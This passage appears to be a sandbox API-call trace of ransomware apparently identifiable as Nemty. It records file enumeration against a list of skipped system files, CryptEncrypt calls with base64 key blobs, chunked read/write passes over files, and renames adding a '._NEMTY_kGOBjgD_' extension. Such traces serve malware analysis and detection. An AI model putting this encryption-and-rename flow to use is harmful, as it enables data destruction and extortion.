pszString="hW5P4qqVnh1zFCn7yBwkrX1ZLqHIaEtclLZSS6SI/QxRa2+JYE5hcScBx93mvL76\r\n6bjULSjM4wblOMy8ocTfgXc7IquurBxx9Cd80KxK/hdZXrgKBT5kya1bLeTpI+Nv\r\nTyhkMezRWCOgUpOfFVumRczkn2ZHZdf2x+8TJhrIt+7Q947+K/CFYf+eiQzGJZg1\r\nQtrr5bV0illkWDB+NBS/gZzgJx91l5rk/BtzH5uDokPlbxrNPLVjpkcaZDN52oi1\r\nlwtlv+zhrl135uxuM/RaKdvhxVpRg/zSAe801G/qR7bAE9brawGB5+32lJeQU2tA\r\nW1EYx6KphQh/Mi9k/RqveQ==\r\n", pcchString=0x653e91c) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0122.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.271] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.272] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.378] CloseHandle (hObject=0xffffffff) returned 0 [0122.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0122.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0122.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png._nemty_kgobjgd_")) returned 0 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.379] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c40cb3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c40cb3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28caa0ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="system_settings.png", cAlternateFileName="")) returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2=".") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="..") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="...") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="windows") returned -1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="rsa") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="NTDETECT.COM") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="ntldr") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="MSDOS.SYS") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="IO.SYS") returned 1 [0122.379] lstrcmpiW (lpString1="system_settings.png", lpString2="boot.ini") returned 1 [0122.380] lstrcmpiW (lpString1="system_settings.png", lpString2="boot.ini") returned 1 [0122.380] lstrcmpiW (lpString1="system_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="ntuser.dat") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="desktop.ini") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="CONFIG.SYS") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="RECYCLER") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="bootmgr") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="programdata") returned 1 [0122.384] lstrcmpiW (lpString1="system_settings.png", lpString2="appdata") returned 1 [0122.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0122.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0122.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_settings.png", lpUsedDefaultChar=0x0) returned 19 [0122.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0122.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_settings.png", lpUsedDefaultChar=0x0) returned 19 [0122.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0122.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0122.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_settings.png", lpUsedDefaultChar=0x0) returned 19 [0122.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0122.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_settings.png", lpUsedDefaultChar=0x0) returned 19 [0122.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340330 [0122.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0122.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0122.385] Sleep (dwMilliseconds=0x5) [0122.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc99a8f0, dwHighDateTime=0x1d561e7)) [0122.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc99a8f0, dwHighDateTime=0x1d561e7)) [0122.395] GetLastError () returned 0x5 [0122.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.395] GetLastError () returned 0x5 [0122.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0122.396] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.396] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.396] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403e8 [0122.396] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403e8, pcchString=0x653e91c | out: pszString="aoVAhOtORSWfTSRzLfe/JyY0G9ZdLzW/ozRYw6Q3j58dFD5AdP4MFqHOARnayW5K\r\nQC5QWsjHCWyXyI9Ki4i6+ZAgmq6UIRBQib7vJgDSOs/VBO9e46geIMet4jwbATM/\r\npl8X3brej7hR9UWKP+5PGNYUqO+ElSn77N6uoyYLvuGtzITKQ9DGJ9IQY81tXv5o\r\nmbJNP29YB4cRzYnTR3Yqxx3tKnbiE7qHdoTeV/nFVm1gjlcFOiMj4NOqYhccxwW1\r\naTwjh5lephKQdB2RRs5k8CW8w83t1X/LMCJI/mlYln5vMuHxRAqm/PlPctSGqdw0\r\ndS3oVLsY18CvGXbxUpqsGA==\r\n", pcchString=0x653e91c) returned 1 [0122.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0122.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0122.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403e8 [0122.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.396] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.397] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 